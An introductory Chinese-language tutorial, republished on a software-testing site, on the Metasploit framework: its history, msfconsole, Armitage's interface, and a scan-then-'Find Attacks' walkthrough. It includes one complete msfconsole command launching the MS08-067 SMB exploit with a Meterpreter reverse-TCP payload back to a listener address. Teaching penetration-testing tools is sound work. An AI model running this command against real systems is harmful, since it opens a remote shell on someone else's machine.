Metasploit简单应用

发表于:2018-10-15 10:45

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:Heineken    来源:51testing采编

  什么是Metasploit
  Metasploit是一款开源的安全漏洞检测工具。
  它可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。当我们第一次接触Metasploit渗透测试框架软件(MSF)时,可能会被它提供如此多的接口、选项、变量和模块所震撼,而感觉无所适从。Metasploit软件为它的基础功能提供了多个用户接口,包括终端、命令行和图形化界面等。
  Metasploit背景和安装
  2003年,HD Moore开发了开源项目Metasploit。
  2007年,Metasploit使用Ruby重构,原本用的是Perl。
  2009年,Rapid7买下了它,这是一家生产了漏洞扫描器Nexpose的信息安全公司。
  Metasploit当前版本是4.9.3,Kali Linux默认安装。BackTrack里也有。如果你们使用其它版本的Linux或者Unix(包括Mac OS),可以去Rapid7官网下载。
  Windows使用者也可以从Rapid7获取Windows版本,不过不建议在Windows上使用Metasploit。因为虽然可以下载安装,但是有些攻击框架的功能没能移植到Windows上,而且在Null Byte这里的很多攻击方式也没法工作在Windows上。
  使用Metasploit的方式
  有几种方式可以访问Metasploit。最通常的方式,也是我使用的方式,是通过Metasploit交互控制台。在Kali的命令行中输入msfconsole即可使用。以下是其它的方式:
  Msfcli(已不能使用)
  首先,我们可以从命令行使用Metasploit,即msfcli模式。看起来我们只是在控制台下使用命令行,实际上我们正使用着一个有特殊关键字和命令支持的交互对话框。通过msfcli,我们是真的在使用Linux命令行。
  我们可以通过以下命令进入帮助页面:
 kali > msfcli -h
  但在新版metasploit中Msfcli不再有效,作为取代,我们可以在* Msfconsole 使用 -x 选项*。
  比如说:
root@kali:~# msfconsole -x "use   exploit/windows/smb/ms08_067_netapi; set RHOST  [192.168.128.1]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [192.168.128.128]; run"
  这样就可以直接使用啦!但是这种方式只能用单条指令(shell),执行一些复杂的漏洞攻击程序(exploits)就不太可能了。
  这一部分与平时实验重叠。
  Armitage
   
  Armitage组件是Metasploit框架中一个完全交互式的图形化用户接口,由Raphael Mudge所开发。Armitage工具包含Metasploit控制台,通过使用其标签特性,用户可以看到多个Metasploit控制台或多个Meterpreter会话。
  Armitage是基于C/S架构的Metasploit图形界面。启动Metasploit作为服务端,Armitage作为客户端,我们就有了一个可以使用Metasploit完整功能的完整——但不是完全直观——图形界面。
  想通过图形界面使用Metasploit,那么我们有好几个选择。
  1.在Kali启动Armitage,简单键入:
  kali > armitage
  如图Armitage:
  2.如果Armitage连接失败,尝试以下替代命令:
  kali > service start postgresql
  kali > service start metasploit
  kali > service stop metasploit
  图Armitage1:
   
  3.当然我们也可以直接经过这种方式。。。
  如图另一种方式:
   
  但是在使用Armitage工具前,必须将Metasploit服务启动!否则,无法运行Armitage工具。因为Armitage需要连接到Metasploit服务,才可以启动。在Kali桌面依次选择“应用程序”|Kali Linux|“系统服务”|Metasploit|community/pro start命令启动Metasploit服务,
  图metasploit:
   
  或者直接在命令行输入msfconsole
  图msfconsole:
   
  将输出如下所示的信息:
[ ok ] Starting PostgreSQL 9.1 database server: main. Configuring Metasploit… Creating metasploit database user 'msf3'… Creating metasploit database 'msf3'… insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5). insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).
  从输出的信息中可以看到++PostgreSQL 9.1++数据库服务已启动,并创建了数据库用户和数据库。
  我们跟进一下连接界面,
  图连接界面:
   
  该界面显示了连接Metasploit的一个进度。当成功连接到Metasploit服务的话,将显示如下图所示的界面。
  图:
   
  该界面共有三个部分,这里把它们分别标记为A、B和C 。下面分别介绍这三部分。
  1)A:这部分显示的是预配置模块。用户可以在模块列表中使用空格键搜索提供的模块。
  2)B:这部分显示活跃的目标系统,用户能执行利用漏洞攻击。
  3)C:这部分显示多个Metasploit标签。这样,就可以运行多个Meterpreter命令或控制台会话,并且同时显示。
  实例
  我们现在就拿Armitage做个实例。
  (1)启动Armitage工具,界面如之前所示。从该界面可以看到默认没有扫描到任何主机。这里通过扫描,找到本网络中的所有主机。
  (2)在Armitage工具的菜单栏中依次选择Hosts|Nmap Scan|Quick Scan命令。
  (3)在该界面输入要扫描的网络范围,这里输入的网络范围是192.168.41.0/24。然后单击“确定”按钮,将开始扫描。扫描完成后,将显示如下图所示的界面。
  图输入IP:
   
  (4)从该界面可以看到,弹出了一个扫描完成对话框,此时单击“确定”按钮即可。并且在目标系统的窗口中,显示了三台主机。这三台主机就是扫描到的主机。从扫描完成的对话框中可以看到提示建议选择Attacks|Find Attacks命令,将可以渗透攻击目标系统
  (5)在菜单栏中依次选择Attacks|Find Attacks命令,运行完后将显示如图所示的界面。
  图attacks:
   
  (6)从该界面可以看到攻击分析完成,并且右击扫描到的主机将会看到有一个Attack菜单
  图显示attacks:
   
  (7)从该界面可以看到在目标主机的菜单中出现了Attack选项,在该菜单中共有五个选项。在没有运行Find Attacks命令前,只要Services、Scan和Host三个选项。这里扫描到的主机屏幕都是黑色,这是因为还没有识别出操作系统的类型。此时可以在菜单栏中依次选择Hosts|Nmap Scan|Quick Scan(OS detect)命令,扫描操作系统类型。扫描完成后,将显示操作系统的默认图标。
  (8)扫描操作系统。扫描完成后,将显示下图所示的界面
  图操作系统:
    
     上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号